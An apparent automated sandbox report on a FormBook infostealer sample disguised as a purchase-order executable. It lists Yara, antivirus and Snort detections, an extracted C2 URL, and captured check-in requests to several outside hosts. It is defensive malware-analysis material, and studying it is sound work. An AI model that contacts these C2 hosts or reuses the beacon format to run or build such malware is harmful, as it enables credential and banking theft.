Source: Yara match	File source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: PO# 0499699.exe

Joe Sandbox ML: detected

Source: 7.2.svchost.exe.3615000.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 7.2.svchost.exe.4137960.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.2.PO# 0499699.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 0.2.PO# 0499699.exe.22c0000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.1.PO# 0499699.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: PO# 0499699.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000003.00000000.670938694.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO# 0499699.exe, 00000000.00000003.648255177.0000000009B50000.00000004.00000001.sdmp, PO# 0499699.exe, 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, svchost.exe, 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: PO# 0499699.exe, svchost.exe
Source:	Binary string: svchost.pdb source: PO# 0499699.exe, 00000001.00000002.726303596.0000000000750000.00000040.00000001.sdmp
Source:	Binary string: svchost.pdbUGP source: PO# 0499699.exe, 00000001.00000002.726303596.0000000000750000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000003.00000000.670938694.0000000005A00000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00405302
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_00405CD8 FindFirstFileA,FindClose,	0_2_00405CD8
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_0040263E FindFirstFileA,	0_2_0040263E

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49763 -> 91.195.240.94:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49763 -> 91.195.240.94:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49763 -> 91.195.240.94:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49766 -> 154.90.65.115:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49766 -> 154.90.65.115:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49766 -> 154.90.65.115:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 34.102.136.180:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.yunastone.com/u6e4/

Source: global traffic	HTTP traffic detected: GET /u6e4/?U6ApY=rTbZoia8ZrSLLKVd1jYuoiAZrGZffbbBY/287cYY09W/kVEWF1VyJJlbdOYrHwxogUS3&l0DL=bT6Hn4EpFnWH HTTP/1.1Host: www.nuskinhk.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=zOxmByeNS7+9J0CjES2oaqywLthrZ4DV/T5/mAf+7J4BkmSSPksdMfeqy2uDrY4D9J80 HTTP/1.1Host: www.yourcreativeconsultantgroup.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=8HyKVZi0EfAfVSKqZKSZMtXtWnSRXbKRBf9ZQh9tOniB8ZHiG2v6+6+C2sbgdZ4UIi42 HTTP/1.1Host: www.esmcharts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?U6ApY=GEKHPvpVXeCclQN5/N7c02fUqVrvniCdt6IKYAbwpNYx9gg2UhzEUFLU2QBSs2Fxkpwb&l0DL=bT6Hn4EpFnWH HTTP/1.1Host: www.zgwljypx.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?U6ApY=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&l0DL=bT6Hn4EpFnWH HTTP/1.1Host: www.jackgaughan.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt HTTP/1.1Host: www.yihetubu.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 91.195.240.94 91.195.240.94

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: SEDO-ASDE SEDO-ASDE
Source: Joe Sandbox View	ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK

Source: global traffic	HTTP traffic detected: GET /u6e4/?U6ApY=rTbZoia8ZrSLLKVd1jYuoiAZrGZffbbBY/287cYY09W/kVEWF1VyJJlbdOYrHwxogUS3&l0DL=bT6Hn4EpFnWH HTTP/1.1Host: www.nuskinhk.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=zOxmByeNS7+9J0CjES2oaqywLthrZ4DV/T5/mAf+7J4BkmSSPksdMfeqy2uDrY4D9J80 HTTP/1.1Host: www.yourcreativeconsultantgroup.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=8HyKVZi0EfAfVSKqZKSZMtXtWnSRXbKRBf9ZQh9tOniB8ZHiG2v6+6+C2sbgdZ4UIi42 HTTP/1.1Host: www.esmcharts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?U6ApY=GEKHPvpVXeCclQN5/N7c02fUqVrvniCdt6IKYAbwpNYx9gg2UhzEUFLU2QBSs2Fxkpwb&l0DL=bT6Hn4EpFnWH HTTP/1.1Host: www.zgwljypx.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?U6ApY=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&l0DL=bT6Hn4EpFnWH HTTP/1.1Host: www.jackgaughan.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt HTTP/1.1Host: www.yihetubu.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.skincarezwolle.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Jun 2021 12:08:53 GMTContent-Type: text/htmlContent-Length: 633Connection: closeETag: "6011503c-279"Data Raw: 3c 68 74 6d 6c 3e 0d 0d 0d 0d 0d 0a 3c 68 65 61 64 3e 0d 0d 0d 0d 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 6b 22 20 2f 3e 0d 0d 0d 0d 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0d 0d 0d 0d 0a 3c 2f 68 65 61 64 3e 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 3c 62 6f 64 79 3e 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 3c 70 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e ba cd ce b4 b5 c7 c2 bc b7 c3 bf cd d2 bb d1 f9 a3 ac d5 e2 d0 a9 ca a7 d7 d9 b5 c4 b1 a6 b1 b4 d2 b2 d0 ed be cd d4 da c4 fa c9 ed b1 df a3 a1 3c 2f 70 3e 0d 0d 0d 0d 0d 0a 3c 70 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0d 0d 0d 0d 0d 0a 09 cf e0 b9 d8 d7 e9 d6 af a3 ba 0d 0d 0d 0d 0d 0a 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 65 2e 74 2e 71 71 2e 63 6f 6d 2f 54 65 6e 63 65 6e 74 2d 56 6f 6c 75 6e 74 65 65 72 73 22 20 74 69 74 6c 65 3d 22 cc da d1 b6 d6 be d4 b8 d5 df 22 3e cc da d1 b6 d6 be d4 b8 d5 df 3c 2f 61 3e a1 a2 0d 0d 0d 0d 0d 0a 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 62 73 2e 62 61 6f 62 65 69 68 75 69 6a 69 61 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 b1 a6 b1 b4 bb d8 bc d2 22 3e b1 a6 b1 b4 bb d8 bc d2 3c 2f 61 3e 0d 0d 0d 0d 0d 0a 3c 2f 70 3e 0d 0d 0d 0d 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 73 72 63 3d 22 68 74 74 70 3a 2f 2f 71 7a 6f 6e 65 73 74 79 6c 65 2e 67 74 69 6d 67 2e 63 6e 2f 71 7a 6f 6e 65 5f 76 36 2f 6c 6f 73 74 63 68 69 6c 64 2f 73 65 61 72 63 68 5f 63 68 69 6c 64 72 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 20 0d 0d 0d 0d 0d 0a 3c 2f 62 6f 64 79 3e 0d 0d 0d 0d 0d 0a 0d 0d 0d 0d 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=gbk" /><title>404</title></head> <body> <p style="display:none"></p><p style="display:none"><a href="http://e.t.qq.com/Tencent-Volunteers" title=""></a><a href="http://bbs.baobeihuijia.com/" title=""></a></p><script type="text/javascript" src="http://qzonestyle.gtimg.cn/qzone_v6/lostchild/search_children.js"></script> </body></html>

Source: svchost.exe, 00000007.00000002.915349465.00000000042B2000.00000004.00000001.sdmp	String found in binary or memory: http://bbs.baobeihuijia.com/
Source: svchost.exe, 00000007.00000002.915349465.00000000042B2000.00000004.00000001.sdmp	String found in binary or memory: http://e.t.qq.com/Tencent-Volunteers
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: PO# 0499699.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: PO# 0499699.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: svchost.exe, 00000007.00000002.915349465.00000000042B2000.00000004.00000001.sdmp	String found in binary or memory: http://qzonestyle.gtimg.cn/qzone_v6/lostchild/search_children.js
Source: explorer.exe, 00000003.00000000.661523052.0000000002B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 0_2_00404EB9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404EB9

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: PO# 0499699.exe

Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_004181C0 NtCreateFile,	1_2_004181C0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00418270 NtReadFile,	1_2_00418270
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_004182F0 NtClose,	1_2_004182F0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_004183A0 NtAllocateVirtualMemory,	1_2_004183A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041826A NtReadFile,	1_2_0041826A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_004182EB NtClose,	1_2_004182EB
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041839D NtAllocateVirtualMemory,	1_2_0041839D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C298F0 NtReadVirtualMemory,LdrInitializeThunk,	1_2_00C298F0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29840 NtDelayExecution,LdrInitializeThunk,	1_2_00C29840
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29860 NtQuerySystemInformation,LdrInitializeThunk,	1_2_00C29860
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C299A0 NtCreateSection,LdrInitializeThunk,	1_2_00C299A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29910 NtAdjustPrivilegesToken,LdrInitializeThunk,	1_2_00C29910
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29A50 NtCreateFile,LdrInitializeThunk,	1_2_00C29A50
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29A00 NtProtectVirtualMemory,LdrInitializeThunk,	1_2_00C29A00
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29A20 NtResumeThread,LdrInitializeThunk,	1_2_00C29A20
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C295D0 NtClose,LdrInitializeThunk,	1_2_00C295D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29540 NtReadFile,LdrInitializeThunk,	1_2_00C29540
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C296E0 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_00C296E0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29660 NtAllocateVirtualMemory,LdrInitializeThunk,	1_2_00C29660
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29FE0 NtCreateMutant,LdrInitializeThunk,	1_2_00C29FE0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29780 NtMapViewOfSection,LdrInitializeThunk,	1_2_00C29780
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C297A0 NtUnmapViewOfSection,LdrInitializeThunk,	1_2_00C297A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29710 NtQueryInformationToken,LdrInitializeThunk,	1_2_00C29710
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C298A0 NtWriteVirtualMemory,	1_2_00C298A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C2B040 NtSuspendThread,	1_2_00C2B040
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29820 NtEnumerateKey,	1_2_00C29820
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C299D0 NtCreateProcessEx,	1_2_00C299D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29950 NtQueueApcThread,	1_2_00C29950
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29A80 NtOpenDirectoryObject,	1_2_00C29A80
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29A10 NtQuerySection,	1_2_00C29A10
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C2A3B0 NtGetContextThread,	1_2_00C2A3B0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29B00 NtSetValueKey,	1_2_00C29B00
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C295F0 NtQueryInformationFile,	1_2_00C295F0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29560 NtWriteFile,	1_2_00C29560
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29520 NtWaitForSingleObject,	1_2_00C29520
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C2AD30 NtSetContextThread,	1_2_00C2AD30
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C296D0 NtCreateKey,	1_2_00C296D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29650 NtQueryValueKey,	1_2_00C29650
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29670 NtQueryInformationProcess,	1_2_00C29670
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29610 NtEnumerateValueKey,	1_2_00C29610
